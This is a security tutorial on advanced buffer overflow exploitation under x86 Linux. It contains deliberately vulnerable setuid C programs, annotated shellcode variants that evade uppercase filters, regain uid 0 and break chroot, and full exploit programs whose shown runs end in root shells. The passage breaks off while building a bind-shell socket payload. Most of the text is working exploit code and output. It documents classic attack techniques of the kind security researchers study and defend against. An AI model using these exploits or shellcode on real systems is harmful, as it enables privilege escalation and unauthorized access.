Advanced buffer overflow exploit


 Written by Taeho Oh ( ohhara@postech.edu )
----------------------------------------------------------------------------
Taeho Oh ( ohhara@postech.edu )                   http://postech.edu/~ohhara
PLUS ( Postech Laboratory for Unix Security )        http://postech.edu/plus
PosLUG ( Postech Linux User Group )          http://postech.edu/group/poslug
----------------------------------------------------------------------------


1. Introduction
 Nowadays there are many buffer overflow exploit codes. The early buffer
overflow exploit codes only spawn a shell ( execute /bin/sh ). However,
nowadays some of the buffer overflow exploit codes have very nice features.
For example, passing through filtering, opening a socket, breaking chroot,
and so on. This paper will attempt to explain the advanced buffer overflow
exploit skill under intel x86 linux.

2. What do you have to know before reading?
 You have to know assembly language, C language, and Linux. Of course, you
have to know what buffer overflow is. You can get the information of the
buffer overflow in phrack 49-14 ( Smashing The Stack For Fun And Profit
by Aleph1 ). It is a wonderful paper of buffer overflow and I highly recommend
you to read that before reading this one.

3. Pass through filtering
 There are many programs which has buffer overflow problems. Why are not the
all buffer overflow problems exploited? Because even if a program has a buffer
overflow condition, it can be hard to exploit. In many cases, the reason is
that the program filters some characters or converts characters into other
characters. If the program filters all non printable characters, it's too
hard to exploit. If the program filters some of characters, you can pass
through the filter by making good buffer overflow exploit code. :)

3.1 The example vulnerable program

vulnerable1.c
----------------------------------------------------------------------------
#include<string.h>
#include<ctype.h>

int main(int argc,int **argv)
{
	char buffer[1024];
	int i;
	if(argc>1)
	{
		for(i=0;i<strlen(argv[1]);i++)
			argv[1][i]=toupper(argv[1][i]);
		strcpy(buffer,argv[1]);
	}
}
----------------------------------------------------------------------------

 This vulnerable program converts small letters into capital letters of the
user input. Therefore, you have to make a shellcode which doesn't contain any
small letters. How can you do that? You have to reference the character string
"/bin/sh" which must contain small letters. However, you can exploit this. :)

3.2 Modify the normal shellcode
 Almost all buffer overflow exploit code uses this shellcode. Now you have
to remove all small letters in the shellcode. Of course, the new shellcode
has to execute a shell.

normal shellcode
----------------------------------------------------------------------------
char shellcode[]=
	"\xeb\x1f"                      /* jmp 0x1f              */
	"\x5e"                          /* popl %esi             */
	"\x89\x76\x08"                  /* movl %esi,0x8(%esi)   */
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\x88\x46\x07"                  /* movb %eax,0x7(%esi)   */
	"\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
	"\xb0\x0b"                      /* movb $0xb,%al         */
	"\x89\xf3"                      /* movl %esi,%ebx        */
	"\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
	"\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
	"\xcd\x80"                      /* int $0x80             */
	"\x31\xdb"                      /* xorl %ebx,%ebx        */
	"\x89\xd8"                      /* movl %ebx,%eax        */
	"\x40"                          /* inc %eax              */
	"\xcd\x80"                      /* int $0x80             */
	"\xe8\xdc\xff\xff\xff"          /* call -0x24            */
	"/bin/sh";                      /* .string \"/bin/sh\"   */
----------------------------------------------------------------------------

 This shellcode has 6 small letters. ( 5 small letters in the "/bin/sh" and
1 small letter in "movl %esi,0x8(%esi)" )
 You cannot use "/bin/sh" character string directly to pass through the
filter. However, you can insert any characters except for small characters.
Therefore, you can insert "\x2f\x12\x19\x1e\x2f\x23\x18" instead of
"\x2f\x62\x69\x6e\x2f\x73\x68" ( "/bin/sh" ). After you overflow the buffer
, you have to change "\x2f\x12\x19\x1e\x2f\x23\x18" into
"\x2f\x62\x69\x6e\x2f\x73\x68" to execute "/bin/sh". You can change easily
by adding \x50 to \x62, \x69, \x6e, \x73, and \x68 when your shellcode
is executed. Then how can you hide \x76 in "movl %esi,0x8(%esi)" ? You
can change "movl %esi,0x8(%esi)" into other instructions that do the equivalent
instruction and do not contain any small letters. For example, 
"movl %esi,0x8(%esi)" can be changed into "movl %esi,%eax", "addl $0x8,%eax",
"movl %eax,0x8(%esi)". The changed instructions have any small letters.
( I think other good instructions to do same thing. It's just an example. )
Now the new shellcode is made.

new shellcode
----------------------------------------------------------------------------
char shellcode[]=
	"\xeb\x38"                      /* jmp 0x38              */
	"\x5e"                          /* popl %esi             */
	"\x80\x46\x01\x50"              /* addb $0x50,0x1(%esi)  */
	"\x80\x46\x02\x50"              /* addb $0x50,0x2(%esi)  */
	"\x80\x46\x03\x50"              /* addb $0x50,0x3(%esi)  */
	"\x80\x46\x05\x50"              /* addb $0x50,0x5(%esi)  */
	"\x80\x46\x06\x50"              /* addb $0x50,0x6(%esi)  */
	"\x89\xf0"                      /* movl %esi,%eax        */
	"\x83\xc0\x08"                  /* addl $0x8,%eax        */
	"\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\x88\x46\x07"                  /* movb %eax,0x7(%esi)   */
	"\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
	"\xb0\x0b"                      /* movb $0xb,%al         */
	"\x89\xf3"                      /* movl %esi,%ebx        */
	"\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
	"\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
	"\xcd\x80"                      /* int $0x80             */
	"\x31\xdb"                      /* xorl %ebx,%ebx        */
	"\x89\xd8"                      /* movl %ebx,%eax        */
	"\x40"                          /* inc %eax              */
	"\xcd\x80"                      /* int $0x80             */
	"\xe8\xc3\xff\xff\xff"          /* call -0x3d            */
	"\x2f\x12\x19\x1e\x2f\x23\x18"; /* .string "/bin/sh"     */
	                                /* /bin/sh is disguised  */
----------------------------------------------------------------------------

3.3 Exploit vulnerable1 program

 With this shellcode, you can make an exploit code easily.

exploit1.c
----------------------------------------------------------------------------
#include<stdio.h>
#include<stdlib.h>

#define ALIGN                             0
#define OFFSET                            0
#define RET_POSITION                   1024
#define RANGE                            20
#define NOP                            0x90

char shellcode[]=
	"\xeb\x38"                      /* jmp 0x38              */
	"\x5e"                          /* popl %esi             */
	"\x80\x46\x01\x50"              /* addb $0x50,0x1(%esi)  */
	"\x80\x46\x02\x50"              /* addb $0x50,0x2(%esi)  */
	"\x80\x46\x03\x50"              /* addb $0x50,0x3(%esi)  */
	"\x80\x46\x05\x50"              /* addb $0x50,0x5(%esi)  */
	"\x80\x46\x06\x50"              /* addb $0x50,0x6(%esi)  */
	"\x89\xf0"                      /* movl %esi,%eax        */
	"\x83\xc0\x08"                  /* addl $0x8,%eax        */
	"\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\x88\x46\x07"                  /* movb %eax,0x7(%esi)   */
	"\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
	"\xb0\x0b"                      /* movb $0xb,%al         */
	"\x89\xf3"                      /* movl %esi,%ebx        */
	"\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
	"\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
	"\xcd\x80"                      /* int $0x80             */
	"\x31\xdb"                      /* xorl %ebx,%ebx        */
	"\x89\xd8"                      /* movl %ebx,%eax        */
	"\x40"                          /* inc %eax              */
	"\xcd\x80"                      /* int $0x80             */
	"\xe8\xc3\xff\xff\xff"          /* call -0x3d            */
	"\x2f\x12\x19\x1e\x2f\x23\x18"; /* .string "/bin/sh"     */
	                                /* /bin/sh is disguised  */

unsigned long get_sp(void)
{
	__asm__("movl %esp,%eax");
}

main(int argc,char **argv)
{
	char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
	long addr;
	unsigned long sp;
	int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
	int i;

	if(argc>1)
		offset=atoi(argv[1]);

	sp=get_sp();
	addr=sp-offset;

	for(i=0;i<bsize;i+=4)
	{
		buff[i+ALIGN]=(addr&0x000000ff);
		buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;
		buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;
		buff[i+ALIGN+3]=(addr&0xff000000)>>24;
	}

	for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
		buff[i]=NOP;

	ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
	for(i=0;i<strlen(shellcode);i++)
		*(ptr++)=shellcode[i];

	buff[bsize-1]='\0';

	printf("Jump to 0x%08x\n",addr);

	execl("./vulnerable1","vulnerable1",buff,0);
}
----------------------------------------------------------------------------

exploit the vulnerable1 program
----------------------------------------------------------------------------
[ ohhara@ohhara ~ ] {1} $ ls -l vulnerable1
-rwsr-xr-x   1 root     root         4342 Oct 18 13:20 vulnerable1*
[ ohhara@ohhara ~ ] {2} $ ls -l exploit1
-rwxr-xr-x   1 ohhara   cse          6932 Oct 18 13:20 exploit1*
[ ohhara@ohhara ~ ] {3} $ ./exploit1
Jump to 0xbfffec64
Segmentation fault
[ ohhara@ohhara ~ ] {4} $ ./exploit1 500
Jump to 0xbfffea70
bash# whoami
root
bash#
----------------------------------------------------------------------------

3.4 What can you do with this technique?
 You can pass through various form filters with this technique. When the
vulnerable program filter !@#$%^&*(), you can make the new shellcode which
doesn't contain !@#$%^&*(). However, you will have difficulties in making a
shellcode, if the program filters many characters.

4 Change uid back to 0
 The setuid root program which knows that work with root permission is very
dangerous calls seteuid(getuid()) at start. And it calls seteuid(0) when it is
needed. Many programmer thinks that it's safe after calling seteuid(getuid()).
However, it's not true. The uid can be back to 0.

4.1 The example vulnerable program

vulnerable2.c
----------------------------------------------------------------------------
#include<string.h>
#include<unistd.h>

int main(int argc,char **argv)
{
	char buffer[1024];
	seteuid(getuid());
	if(argc>1)
		strcpy(buffer,argv[1]);
}
----------------------------------------------------------------------------

 This vulnerable program calls seteuid(getuid()) at start. Therefore, you
may think that "strcpy(buffer,argv[1]);" is OK. Because you can only get
your own shell although you succeed in buffer overflow attack. However,
if you insert a code which calls setuid(0) in the shellcode, you can get
root shell. :)

4.2 Make setuid(0) code

setuidasm.c
----------------------------------------------------------------------------
main()
{
	setuid(0);
}
----------------------------------------------------------------------------

compile and disassemble
----------------------------------------------------------------------------
[ ohhara@ohhara ~ ] {1} $ gcc -o setuidasm -static setuidasm.c
[ ohhara@ohhara ~ ] {2} $ gdb setuidasm
GNU gdb 4.17
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disassemble setuid
Dump of assembler code for function __setuid:
0x804ca00 <__setuid>:   movl   %ebx,%edx
0x804ca02 <__setuid+2>: movl   0x4(%esp,1),%ebx
0x804ca06 <__setuid+6>: movl   $0x17,%eax
0x804ca0b <__setuid+11>:        int    $0x80
0x804ca0d <__setuid+13>:        movl   %edx,%ebx
0x804ca0f <__setuid+15>:        cmpl   $0xfffff001,%eax
0x804ca14 <__setuid+20>:        jae    0x804cc10 <__syscall_error>
0x804ca1a <__setuid+26>:        ret    
0x804ca1b <__setuid+27>:        nop    
0x804ca1c <__setuid+28>:        nop    
0x804ca1d <__setuid+29>:        nop    
0x804ca1e <__setuid+30>:        nop    
0x804ca1f <__setuid+31>:        nop    
End of assembler dump.
(gdb)
----------------------------------------------------------------------------

setuid(0); code
----------------------------------------------------------------------------
char code[]=
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\x31\xdb"                      /* xorl %ebx,%ebx        */
	"\xb0\x17"                      /* movb $0x17,%al        */
	"\xcd\x80";                     /* int $0x80             */
----------------------------------------------------------------------------

4.3 Modify the normal shellcode

 Making new shellcode is very easy if you make setuid(0) code. Just insert
the code into the start of the normal shellcode.

new shellcode
----------------------------------------------------------------------------
char shellcode[]=
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\x31\xdb"                      /* xorl %ebx,%ebx        */
	"\xb0\x17"                      /* movb $0x17,%al        */
	"\xcd\x80"                      /* int $0x80             */
	"\xeb\x1f"                      /* jmp 0x1f              */
	"\x5e"                          /* popl %esi             */
	"\x89\x76\x08"                  /* movl %esi,0x8(%esi)   */
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\x88\x46\x07"                  /* movb %eax,0x7(%esi)   */
	"\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
	"\xb0\x0b"                      /* movb $0xb,%al         */
	"\x89\xf3"                      /* movl %esi,%ebx        */
	"\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
	"\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
	"\xcd\x80"                      /* int $0x80             */
	"\x31\xdb"                      /* xorl %ebx,%ebx        */
	"\x89\xd8"                      /* movl %ebx,%eax        */
	"\x40"                          /* inc %eax              */
	"\xcd\x80"                      /* int $0x80             */
	"\xe8\xdc\xff\xff\xff"          /* call -0x24            */
	"/bin/sh";                      /* .string \"/bin/sh\"   */
----------------------------------------------------------------------------

4.4 Exploit vulnerable2 program

 With this shellcode, you can make an exploit code easily.

exploit2.c
----------------------------------------------------------------------------
#include<stdio.h>
#include<stdlib.h>

#define ALIGN                             0
#define OFFSET                            0
#define RET_POSITION                   1024
#define RANGE                            20
#define NOP                            0x90

char shellcode[]=
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\x31\xdb"                      /* xorl %ebx,%ebx        */
	"\xb0\x17"                      /* movb $0x17,%al        */
	"\xcd\x80"                      /* int $0x80             */
	"\xeb\x1f"                      /* jmp 0x1f              */
	"\x5e"                          /* popl %esi             */
	"\x89\x76\x08"                  /* movl %esi,0x8(%esi)   */
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\x88\x46\x07"                  /* movb %eax,0x7(%esi)   */
	"\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
	"\xb0\x0b"                      /* movb $0xb,%al         */
	"\x89\xf3"                      /* movl %esi,%ebx        */
	"\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
	"\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
	"\xcd\x80"                      /* int $0x80             */
	"\x31\xdb"                      /* xorl %ebx,%ebx        */
	"\x89\xd8"                      /* movl %ebx,%eax        */
	"\x40"                          /* inc %eax              */
	"\xcd\x80"                      /* int $0x80             */
	"\xe8\xdc\xff\xff\xff"          /* call -0x24            */
	"/bin/sh";                      /* .string \"/bin/sh\"   */

unsigned long get_sp(void)
{
	__asm__("movl %esp,%eax");
}

void main(int argc,char **argv)
{
	char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
	long addr;
	unsigned long sp;
	int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
	int i;

	if(argc>1)
		offset=atoi(argv[1]);

	sp=get_sp();
	addr=sp-offset;

	for(i=0;i<bsize;i+=4)
	{
		buff[i+ALIGN]=(addr&0x000000ff);
		buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;
		buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;
		buff[i+ALIGN+3]=(addr&0xff000000)>>24;
	}

	for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
		buff[i]=NOP;

	ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
	for(i=0;i<strlen(shellcode);i++)
		*(ptr++)=shellcode[i];

	buff[bsize-1]='\0';

	printf("Jump to 0x%08x\n",addr);

	execl("./vulnerable2","vulnerable2",buff,0);
}
----------------------------------------------------------------------------

exploit the vulnerable2 program
----------------------------------------------------------------------------
[ ohhara@ohhara ~ ] {1} $ ls -l vulnerable2
-rwsr-xr-x   1 root     root         4258 Oct 18 14:16 vulnerable2*
[ ohhara@ohhara ~ ] {2} $ ls -l exploit2
-rwxr-xr-x   1 ohhara   cse          6932 Oct 18 14:26 exploit2*
[ ohhara@ohhara ~ ] {3} $ ./exploit2
Jump to 0xbfffec64
Illegal instruction
[ ohhara@ohhara ~ ] {4} $ ./exploit2 500
Jump to 0xbfffea70
bash# whoami
root
bash#
----------------------------------------------------------------------------

4.5 What can you do with this technique?
 You attack a setuid root program with buffer overflow but you only get your
own shell. You can use this technique in that situation.

5 Break chroot
 If the setuid root program is chrooted, you can access only chrooted
directory. You cannot access root directory. However, you can access all
directories, if your shellcode change the root directory into "/" again. :)

5.1 The example vulnerable program

vulnerable3.c
----------------------------------------------------------------------------
#include<string.h>
#include<unistd.h>

int main(int argc,char **argv)
{
	char buffer[1024];
	chroot("/home/ftp");
	chdir("/");
	if(argc>1)
		strcpy(buffer,argv[1]);
}
----------------------------------------------------------------------------

 If you tries to execute "/bin/sh" with buffer overflow, it may executes
"/home/ftp/bin/sh" ( if it exists ) and you cannot access the other directories
except for "/home/ftp".

5.2 Make break chroot code
 If you can execute below code, you can break chroot.

breakchrootasm.c
----------------------------------------------------------------------------
main()
{
	mkdir("sh",0755);
	chroot("sh");
	/* many "../" */
	chroot("../../../../../../../../../../../../../../../../");
}
----------------------------------------------------------------------------

 This break chroot code makes "sh" directory, because it's easy to reference.
( it's also used to execute "/bin/sh" )

compile and disassemble
----------------------------------------------------------------------------
[ ohhara@ohhara ~ ] {1} $ gcc -o breakchrootasm -static breakchrootasm.c
[ ohhara@ohhara ~ ] {2} $ gdb breakchrootasm
GNU gdb 4.17
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disassemble mkdir
Dump of assembler code for function __mkdir:
0x804cac0 <__mkdir>:    movl   %ebx,%edx
0x804cac2 <__mkdir+2>:  movl   0x8(%esp,1),%ecx
0x804cac6 <__mkdir+6>:  movl   0x4(%esp,1),%ebx
0x804caca <__mkdir+10>: movl   $0x27,%eax
0x804cacf <__mkdir+15>: int    $0x80
0x804cad1 <__mkdir+17>: movl   %edx,%ebx
0x804cad3 <__mkdir+19>: cmpl   $0xfffff001,%eax
0x804cad8 <__mkdir+24>: jae    0x804cc40 <__syscall_error>
0x804cade <__mkdir+30>: ret    
0x804cadf <__mkdir+31>: nop    
End of assembler dump.
(gdb) disassemble chroot
Dump of assembler code for function chroot:
0x804cb60 <chroot>:     movl   %ebx,%edx
0x804cb62 <chroot+2>:   movl   0x4(%esp,1),%ebx
0x804cb66 <chroot+6>:   movl   $0x3d,%eax
0x804cb6b <chroot+11>:  int    $0x80
0x804cb6d <chroot+13>:  movl   %edx,%ebx
0x804cb6f <chroot+15>:  cmpl   $0xfffff001,%eax
0x804cb74 <chroot+20>:  jae    0x804cc40 <__syscall_error>
0x804cb7a <chroot+26>:  ret    
0x804cb7b <chroot+27>:  nop    
0x804cb7c <chroot+28>:  nop    
0x804cb7d <chroot+29>:  nop    
0x804cb7e <chroot+30>:  nop    
0x804cb7f <chroot+31>:  nop    
End of assembler dump.
(gdb)
----------------------------------------------------------------------------

mkdir("sh",0755); code
----------------------------------------------------------------------------
	/* mkdir first argument is %ebx and second argument is   */
	/* %ecx.                                                 */
char code[]=
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\x31\xc9"                      /* xorl %ecx,%ecx        */
	"\xb0\x17"                      /* movb $0x27,%al        */
	"\x8d\x5e\x05"                  /* leal 0x5(%esi),%ebx   */
	/* %esi has to reference "/bin/sh" before using this     */
	/* instruction. This instruction load address of "sh"    */
	/* and store at %ebx                                     */
	"\xfe\xc5"                      /* incb %ch              */
	/* %cx = 0000 0001 0000 0000                             */
	"\xb0\x3d"                      /* movb $0xed,%cl        */
	/* %cx = 0000 0001 1110 1101                             */
	/* %cx = 000 111 101 101                                 */
	/* %cx = 0   7   5   5                                   */
	"\xcd\x80";                     /* int $0x80             */
----------------------------------------------------------------------------

chroot("sh"); code
----------------------------------------------------------------------------
	/* chroot first argument is ebx */
char code[]=
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\x8d\x5e\x05"                  /* leal 0x5(%esi),%ebx   */
	"\xb0\x3d"                      /* movb $0x3d,%al        */
	"\xcd\x80";                     /* int $0x80             */
----------------------------------------------------------------------------

chroot("../../../../../../../../../../../../../../../../"); code
----------------------------------------------------------------------------
char code[]=
	"\xbb\xd2\xd1\xd0\xff"          /* movl $0xffd0d1d2,%ebx */
	/* disguised "../" character string                      */
	"\xf7\xdb"                      /* negl %ebx             */
	/* %ebx = $0x002f2e2e                                    */
	/* intel x86 is little endian.                           */
	/* %ebx = "../"                                          */
	"\x31\xc9"                      /* xorl %ecx,%ecx        */
	"\xb1\x10"                      /* movb $0x10,%cl        */
	/* prepare for looping 16 times.                         */
	"\x56"                          /* pushl %esi            */
	/* backup current %esi. %esi has the pointer of          */
	/* "/bin/sh".                                            */
	"\x01\xce"                      /* addl %ecx,%esi        */
	"\x89\x1e"                      /* movl %ebx,(%esi)      */
	"\x83\xc6\x03"                  /* addl $0x3,%esi        */
	"\xe0\xf9"                      /* loopne -0x7           */
	/* make "../../../../ . . . " character string at        */
	/* 0x10(%esi) by looping.                                */
	"\x5e"                          /* popl %esi             */
	/* restore %esi.                                         */
	"\xb0\x3d"                      /* movb $0x3d,%al        */
	"\x8d\x5e\x10"                  /* leal 0x10(%esi),%ebx  */
	/* %ebx has the address of "../../../../ . . . ".        */
	"\xcd\x80";                     /* int $0x80             */
----------------------------------------------------------------------------

5.3 Modify the normal shellcode

 Making new shellcode is very easy if you make break chroot code. Just insert
the code into the start of the normal shellcode and modify jmp and call
argument.

new shellcode
----------------------------------------------------------------------------
char shellcode[]=
	"\xeb\x4f"                      /* jmp 0x4f              */
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\x31\xc9"                      /* xorl %ecx,%ecx        */
	"\x5e"                          /* popl %esi             */
	"\x88\x46\x07"                  /* movb %al,0x7(%esi)    */
	"\xb0\x27"                      /* movb $0x27,%al        */
	"\x8d\x5e\x05"                  /* leal 0x5(%esi),%ebx   */
	"\xfe\xc5"                      /* incb %ch              */
	"\xb1\xed"                      /* movb $0xed,%cl        */
	"\xcd\x80"                      /* int $0x80             */
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\x8d\x5e\x05"                  /* leal 0x5(%esi),%ebx   */
	"\xb0\x3d"                      /* movb $0x3d,%al        */
	"\xcd\x80"                      /* int $0x80             */
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\xbb\xd2\xd1\xd0\xff"          /* movl $0xffd0d1d2,%ebx */
	"\xf7\xdb"                      /* negl %ebx             */
	"\x31\xc9"                      /* xorl %ecx,%ecx        */
	"\xb1\x10"                      /* movb $0x10,%cl        */
	"\x56"                          /* pushl %esi            */
	"\x01\xce"                      /* addl %ecx,%esi        */
	"\x89\x1e"                      /* movl %ebx,(%esi)      */
	"\x83\xc6\x03"                  /* addl %0x3,%esi        */
	"\xe0\xf9"                      /* loopne -0x7           */
	"\x5e"                          /* popl %esi             */
	"\xb0\x3d"                      /* movb $0x3d,%al        */
	"\x8d\x5e\x10"                  /* leal 0x10(%esi),%ebx  */
	"\xcd\x80"                      /* int $0x80             */
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\x89\x76\x08"                  /* movl %esi,0x8(%esi)   */
	"\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
	"\xb0\x0b"                      /* movb $0xb,%al         */
	"\x89\xf3"                      /* movl %esi,%ebx        */
	"\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
	"\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
	"\xcd\x80"                      /* int $0x80             */
	"\xe8\xac\xff\xff\xff"          /* call -0x54            */
	"/bin/sh";                      /* .string \"/bin/sh\"   */
----------------------------------------------------------------------------

5.4 Exploit vulnerable3 program
 With this shellcode, you can make an exploit code easily.

exploit3.c
----------------------------------------------------------------------------
#include<stdio.h>
#include<stdlib.h>

#define ALIGN                             0
#define OFFSET                            0
#define RET_POSITION                   1024
#define RANGE                            20
#define NOP                            0x90

char shellcode[]=
	"\xeb\x4f"                      /* jmp 0x4f              */
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\x31\xc9"                      /* xorl %ecx,%ecx        */
	"\x5e"                          /* popl %esi             */
	"\x88\x46\x07"                  /* movb %al,0x7(%esi)    */
	"\xb0\x27"                      /* movb $0x27,%al        */
	"\x8d\x5e\x05"                  /* leal 0x5(%esi),%ebx   */
	"\xfe\xc5"                      /* incb %ch              */
	"\xb1\xed"                      /* movb $0xed,%cl        */
	"\xcd\x80"                      /* int $0x80             */
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\x8d\x5e\x05"                  /* leal 0x5(%esi),%ebx   */
	"\xb0\x3d"                      /* movb $0x3d,%al        */
	"\xcd\x80"                      /* int $0x80             */
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\xbb\xd2\xd1\xd0\xff"          /* movl $0xffd0d1d2,%ebx */
	"\xf7\xdb"                      /* negl %ebx             */
	"\x31\xc9"                      /* xorl %ecx,%ecx        */
	"\xb1\x10"                      /* movb $0x10,%cl        */
	"\x56"                          /* pushl %esi            */
	"\x01\xce"                      /* addl %ecx,%esi        */
	"\x89\x1e"                      /* movl %ebx,(%esi)      */
	"\x83\xc6\x03"                  /* addl %0x3,%esi        */
	"\xe0\xf9"                      /* loopne -0x7           */
	"\x5e"                          /* popl %esi             */
	"\xb0\x3d"                      /* movb $0x3d,%al        */
	"\x8d\x5e\x10"                  /* leal 0x10(%esi),%ebx  */
	"\xcd\x80"                      /* int $0x80             */
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\x89\x76\x08"                  /* movl %esi,0x8(%esi)   */
	"\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
	"\xb0\x0b"                      /* movb $0xb,%al         */
	"\x89\xf3"                      /* movl %esi,%ebx        */
	"\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
	"\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
	"\xcd\x80"                      /* int $0x80             */
	"\xe8\xac\xff\xff\xff"          /* call -0x54            */
	"/bin/sh";                      /* .string \"/bin/sh\"   */

unsigned long get_sp(void)
{
	__asm__("movl %esp,%eax");
}

void main(int argc,char **argv)
{
	char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
	long addr;
	unsigned long sp;
	int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
	int i;

	if(argc>1)
		offset=atoi(argv[1]);

	sp=get_sp();
	addr=sp-offset;

	for(i=0;i<bsize;i+=4)
	{
		buff[i+ALIGN]=(addr&0x000000ff);
		buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;
		buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;
		buff[i+ALIGN+3]=(addr&0xff000000)>>24;
	}

	for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
		buff[i]=NOP;

	ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
	for(i=0;i<strlen(shellcode);i++)
		*(ptr++)=shellcode[i];

	buff[bsize-1]='\0';

	printf("Jump to 0x%08x\n",addr);

	execl("./vulnerable3","vulnerable3",buff,0);
}
----------------------------------------------------------------------------

exploit the vulnerable3 program
----------------------------------------------------------------------------
[ ohhara@ohhara ~ ] {1} $ ls -l vulnerable3
-rwsr-xr-x   1 root     root         4348 Oct 18 15:06 vulnerable3*
[ ohhara@ohhara ~ ] {2} $ ls -l exploit3
-rwxr-xr-x   1 ohhara   cse          5059 Oct 18 17:13 exploit3*
[ ohhara@ohhara ~ ] {3} $ ./exploit3
Jump to 0xbfffec68
Segmentation fault
[ ohhara@ohhara ~ ] {4} $ ./exploit3 500
Jump to 0xbfffea74
Segmentation fault
[ ohhara@ohhara ~ ] {5} $ ./exploit3 -500
Jump to 0xbfffee5c
bash# whoami
root
bash# pwd
/home/ftp
bash# cd /
bash# pwd
/
bash# ls
afs  boot  etc     home  lost+found  mnt   root  tmp  var
bin  dev   export  lib   misc        proc  sbin  usr
bash#
----------------------------------------------------------------------------

5.5 What can you do with this technique?
 You cannot access root directory by attacking a chrooted setuid program with
buffer overflow. However, you can access all directories with this technique.
 
6 Open socket
 You can see the daemon crash if you try to overflow the buffer in a daemon.
In many cases, you have to execute a shell, open a socket, and connect to
your standard I/O. If you don't, you cannot get a shell. Even if you get a
shell, the server crashes immediately, so you can't command anything. In this
case, you have to make complex shellcode to connect to your standard I/O.

6.1 The example vulnerable program

----------------------------------------------------------------------------
#include<string.h>

int main(int argc,char **argv)
{
	char buffer[1024];
	if(argc>1)
		strcpy(buffer,argv[1]);
}
----------------------------------------------------------------------------

 This is standard vulnerable program. I will use this for socket opening
buffer overflow. Because I am too lazy to make a example daemon program. :)
However, after you see the code, you will not be disappointed.
 
6.2 Make open socket code
 If you can execute below code, you can open a socket.

opensocketasm1.c
----------------------------------------------------------------------------
#include<unistd.h>
#include<sys/socket.h>
#include<netinet/in.h>

int soc,cli,soc_len;
struct sockaddr_in serv_addr;
struct sockaddr_in cli_addr;

int main()
{
	if(fork()==0)
	{
		serv_addr.sin_family=AF_INET;
		serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);
		serv_addr.sin_port=htons(30464);
		soc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
		bind(soc,(struct sockaddr *)&serv_addr,sizeof(serv_addr));
		listen(soc,1);
		soc_len=sizeof(cli_addr);
		cli=accept(soc,(struct sockaddr *)&cli_addr,&soc_len);
		dup2(cli,0);
		dup2(cli,1);
		dup2(cli,2);
		execl("/bin/sh","sh",0);
	}
}
----------------------------------------------------------------------------

 It's difficult to make with assembly language. You can make this program
simple.

opensocketasm2.c
----------------------------------------------------------------------------
#include<unistd.h>
#include<sys/socket.h>
#include<netinet/in.h>

int soc,cli;
struct sockaddr_in serv_addr;

int main()
{
	if(fork()==0)
	{
		serv_addr.sin_family=2;
		serv_addr.sin_addr.s_addr=0;
		serv_addr.sin_port=0x77;
		soc=socket(2,1,6);
